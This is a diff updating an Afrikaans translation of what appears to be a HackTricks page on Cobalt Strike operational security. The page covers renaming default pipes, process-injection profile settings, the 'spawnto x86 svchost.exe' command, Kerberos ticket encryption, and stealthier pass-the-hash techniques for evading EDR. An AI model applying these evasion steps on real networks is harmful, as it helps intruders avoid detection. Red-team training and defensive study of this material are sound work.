 Boonop bevat die repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) ook 'n paar kontroles en idees wat jy kan oorweeg voordat jy 'n payload uitvoer.

 ### Kaartjies enkripsie

-In 'n AD wees versigtig met die enkripsie van die kaartjies. Standaard sal sommige gereedskap RC4 enkripsie vir Kerberos kaartjies gebruik, wat minder veilig is as AES en standaard opdateer omgewings sal AES gebruik. Dit kan opgespoor word deur verdedigers wat nagaan vir swak enkripsie algoritmes.
+In 'n AD wees versigtig met die enkripsie van die kaartjies. Standaard sal sommige gereedskap RC4 enkripsie vir Kerberos kaartjies gebruik, wat minder veilig is as AES en standaard opdateerde omgewings sal AES gebruik. Dit kan opgespoor word deur verdedigers wat monitor vir swak enkripsie algoritmes.

 ### Vermy Standaarde

 Wanneer jy Cobalt Strike gebruik, sal die SMB pype standaard die naam `msagent_####` en `"status_####` hê. Verander daardie name. Dit is moontlik om die name van die bestaande pype van Cobalt Strike met die opdrag: `ls \\.\pipe\` na te gaan.

-Boonop, met SSH sessies, word 'n pyp genaamd `\\.\pipe\postex_ssh_####` geskep. Verander dit met `set ssh_pipename "<new_name>";`.
+Boonop, met SSH sessies word 'n pyp genaamd `\\.\pipe\postex_ssh_####` geskep. Verander dit met `set ssh_pipename "<new_name>";`.

 Ook in post eksploitatie aanval kan die pype `\\.\pipe\postex_####` met `set pipename "<new_name>"` gewysig word.

 In Cobalt Strike profiele kan jy ook dinge soos:

 - Vermy om `rwx` te gebruik
- Hoe die proses inspuiting gedrag werk (watter API's gebruik sal word) in die `process-inject {...}` blok
+- Hoe die proses inspuiting gedrag werk (watter API's sal gebruik word) in die `process-inject {...}` blok
 - Hoe die "fork and run" werk in die `post-ex {…}` blok
 - Die slaap tyd
 - Die maksimum grootte van binêre om in geheue gelaai te word
- Die geheue voetspoor en DLL inhoud met `stage {...}` blok
+- Die geheue voetafdruk en DLL inhoud met `stage {...}` blok
 - Die netwerk verkeer

 ### Bypass geheue skandering
@ -268,11 +268,11 @@ Wanneer jy kode in 'n proses inspuit, is dit gewoonlik baie luidrugtig, dit is o

 ### Spawnas | PID en PPID verhoudings

-Wanneer 'n nuwe proses gespaw word, is dit belangrik om **'n gewone ouer-kind** verhouding tussen prosesse te handhaaf om opsporing te vermy. As svchost.exec iexplorer.exe uitvoer, sal dit verdag lyk, aangesien svchost.exe nie 'n ouer van iexplorer.exe in 'n normale Windows omgewing is nie.
+Wanneer jy 'n nuwe proses spaw, is dit belangrik om 'n **regte ouer-kind** verhouding tussen prosesse te handhaaf om opsporing te vermy. As svchost.exec iexplorer.exe uitvoer, sal dit verdag lyk, aangesien svchost.exe nie 'n ouer van iexplorer.exe in 'n normale Windows omgewing is nie.

-Wanneer 'n nuwe sein in Cobalt Strike gespaw word, word standaard 'n proses wat **`rundll32.exe`** gebruik geskep om die nuwe luisteraar te laat loop. Dit is nie baie stil nie en kan maklik deur EDRs opgespoor word. Boonop, `rundll32.exe` word sonder enige args uitgevoer wat dit selfs meer verdag maak.
+Wanneer 'n nuwe beacon in Cobalt Strike gespaw word, word standaard 'n proses wat **`rundll32.exe`** gebruik geskep om die nuwe luisteraar te laat loop. Dit is nie baie stil nie en kan maklik deur EDRs opgespoor word. Boonop, `rundll32.exe` word sonder enige args uitgevoer wat dit selfs meer verdag maak.

-Met die volgende Cobalt Strike opdrag kan jy 'n ander proses spesifiseer om die nuwe sein te spaw, wat dit minder opspoorbaar maak:
+Met die volgende Cobalt Strike opdrag, kan jy 'n ander proses spesifiseer om die nuwe beacon te spaw, wat dit minder opspoorbaar maak:
 ```bash
 spawnto x86 svchost.exe
 ```
@ -282,7 +282,7 @@ You can aso change this setting **`spawnto_x86` and `spawnto_x64`** in a profile

 Aanvallers sal soms in staat moet wees om gereedskap plaaslik te loop, selfs op linux masjiene, en die verkeer van die slagoffers na die gereedskap te laat bereik (bv. NTLM relay).

-Boonop, soms om 'n pass-the-hash of pass-the-ticket aanval te doen, is dit meer stil vir die aanvaller om **hierdie hash of kaartjie in sy eie LSASS-proses** plaaslik by te voeg en dan daarvandaan te pivot in plaas van om 'n LSASS-proses van 'n slagoffer masjien te verander.
+Boonop, soms om 'n pass-the-hash of pass-the-ticket aanval te doen, is dit meer stealthy vir die aanvaller om **hierdie hash of kaartjie in sy eie LSASS proses** plaaslik by te voeg en dan daarvandaan te pivot in plaas van om 'n LSASS proses van 'n slagoffer masjien te verander.

 However, you need to be **careful with the generated traffic**, as you might be sending uncommon traffic (kerberos?) from your backdoor process. For this you could pivot to a browser process (although you could get caught injecting yourself into a process so think about a stealth way to do this).
 ```bash
@ -360,4 +360,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
 ```


-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}